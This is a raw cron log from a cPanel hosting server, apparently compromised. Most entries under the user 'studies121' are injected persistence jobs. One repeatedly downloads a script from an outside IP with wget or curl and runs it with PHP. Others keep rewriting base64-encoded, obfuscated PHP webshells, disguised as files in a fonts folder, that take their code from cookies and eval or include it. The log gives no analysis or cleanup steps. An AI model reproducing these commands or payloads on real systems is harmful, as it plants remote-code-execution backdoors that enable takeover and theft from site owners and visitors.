Sep 12 18:00:01 ip-184-168-122-23 CROND[2646]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:00:01 ip-184-168-122-23 CROND[2645]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 12 18:01:01 ip-184-168-122-23 CROND[2849]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2849]: starting 0anacron
Sep 12 18:01:01 ip-184-168-122-23 CROND[2856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:01:01 ip-184-168-122-23 CROND[2857]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:01:01 ip-184-168-122-23 CROND[2855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:01:01 ip-184-168-122-23 CROND[2858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:01:01 ip-184-168-122-23 CROND[2860]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2870]: finished 0anacron
Sep 12 18:02:01 ip-184-168-122-23 CROND[2963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:02:01 ip-184-168-122-23 CROND[2967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:02:01 ip-184-168-122-23 CROND[2965]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:02:01 ip-184-168-122-23 CROND[2966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:02:01 ip-184-168-122-23 CROND[2968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:03:01 ip-184-168-122-23 CROND[3056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:03:01 ip-184-168-122-23 CROND[3055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:03:01 ip-184-168-122-23 CROND[3057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:03:01 ip-184-168-122-23 CROND[3058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:04:01 ip-184-168-122-23 CROND[3142]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:04:01 ip-184-168-122-23 CROND[3141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:04:01 ip-184-168-122-23 CROND[3146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:04:01 ip-184-168-122-23 CROND[3144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:04:01 ip-184-168-122-23 CROND[3145]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:05:01 ip-184-168-122-23 CROND[3254]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:05:01 ip-184-168-122-23 CROND[3270]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 18:05:01 ip-184-168-122-23 CROND[3268]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 18:05:01 ip-184-168-122-23 CROND[3269]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 18:05:01 ip-184-168-122-23 CROND[3266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:05:01 ip-184-168-122-23 CROND[3267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:05:01 ip-184-168-122-23 CROND[3271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:06:01 ip-184-168-122-23 CROND[3449]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:06:01 ip-184-168-122-23 CROND[3451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:06:01 ip-184-168-122-23 CROND[3452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:06:01 ip-184-168-122-23 CROND[3453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:06:01 ip-184-168-122-23 CROND[3454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:07:01 ip-184-168-122-23 CROND[3561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:07:01 ip-184-168-122-23 CROND[3562]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:07:01 ip-184-168-122-23 CROND[3564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:07:01 ip-184-168-122-23 CROND[3569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:08:01 ip-184-168-122-23 CROND[3667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:08:01 ip-184-168-122-23 CROND[3669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:08:01 ip-184-168-122-23 CROND[3672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:08:01 ip-184-168-122-23 CROND[3670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:08:01 ip-184-168-122-23 CROND[3671]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:09:01 ip-184-168-122-23 CROND[3761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:09:01 ip-184-168-122-23 CROND[3762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:09:01 ip-184-168-122-23 CROND[3760]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 18:09:01 ip-184-168-122-23 CROND[3763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:09:01 ip-184-168-122-23 CROND[3764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:10:01 ip-184-168-122-23 CROND[3900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:10:01 ip-184-168-122-23 CROND[3903]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:10:01 ip-184-168-122-23 CROND[3902]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 18:10:01 ip-184-168-122-23 CROND[3905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:10:01 ip-184-168-122-23 CROND[3907]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:10:01 ip-184-168-122-23 CROND[3904]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 18:10:01 ip-184-168-122-23 CROND[3901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:10:01 ip-184-168-122-23 CROND[3906]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 18:11:01 ip-184-168-122-23 CROND[4090]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:11:01 ip-184-168-122-23 CROND[4092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:11:01 ip-184-168-122-23 CROND[4094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:11:01 ip-184-168-122-23 CROND[4093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:12:01 ip-184-168-122-23 CROND[4177]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:12:01 ip-184-168-122-23 CROND[4181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:12:01 ip-184-168-122-23 CROND[4182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:12:01 ip-184-168-122-23 CROND[4180]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:12:01 ip-184-168-122-23 CROND[4179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
